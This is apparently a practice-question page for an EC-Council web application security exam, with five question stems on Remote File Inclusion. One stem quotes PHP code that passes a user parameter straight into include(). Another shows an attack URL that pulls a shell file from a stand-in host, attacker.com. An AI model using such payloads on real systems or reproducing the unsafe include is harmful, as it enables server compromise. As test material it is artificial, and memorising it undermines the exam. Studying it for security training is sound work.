
EC-CouncilWeb Application Hacking and Security
Domain 7Objective 2
Remote File Inclusion (RFI) WAHS Practice Questions (Page 1)
Part of the File Inclusion and Upload Attacks domain, which makes up ~7% of our current practice bank. EC-Council does not publish an official question count, but from its 360-minute exam (~145–240 total, ~10–17 in this domain), expect 3–6 from this objective — we provide 19 practice questions to prepare you well beyond it. (estimate)
19questions here
4free pages
5concepts
Questions 1–5
- 1
A security audit finds an RFI vulnerability in a PHP application. The code is: $page = $_GET['page']; include('templates/' . $page);. The application is mission-critical and cannot be taken offline. Which remediation is most appropriate?
Select an answer first - 2
Which of the following actions is the most direct way to test whether a parameter is vulnerable to Remote File Inclusion?
Select an answer first - 3
An attacker exploits an RFI vulnerability by supplying the following URL: http://victim.com/index.php?page=http://attacker.com/shell.txt. What is the most likely outcome if the attack succeeds?
Select an answer first - 4
A development team discovered that a legacy PHP application includes files based on a `theme` parameter without any validation. They need to remediate the vulnerability while minimizing changes to the application's existing functionality. Which remediation is most effective?
Select an answer first - 5
What is the most severe potential impact of an RFI vulnerability if successfully exploited?
Select an answer first
Finished these 5 questions?
Review the revealed explanations, or continue through the curriculum.
Free Basic Practice is a study aid with revealable answers — not a scored exam. Examers.io is independent and not affiliated with or endorsed by EC-Council. “WAHS” is a trademark of its owner, used for identification only.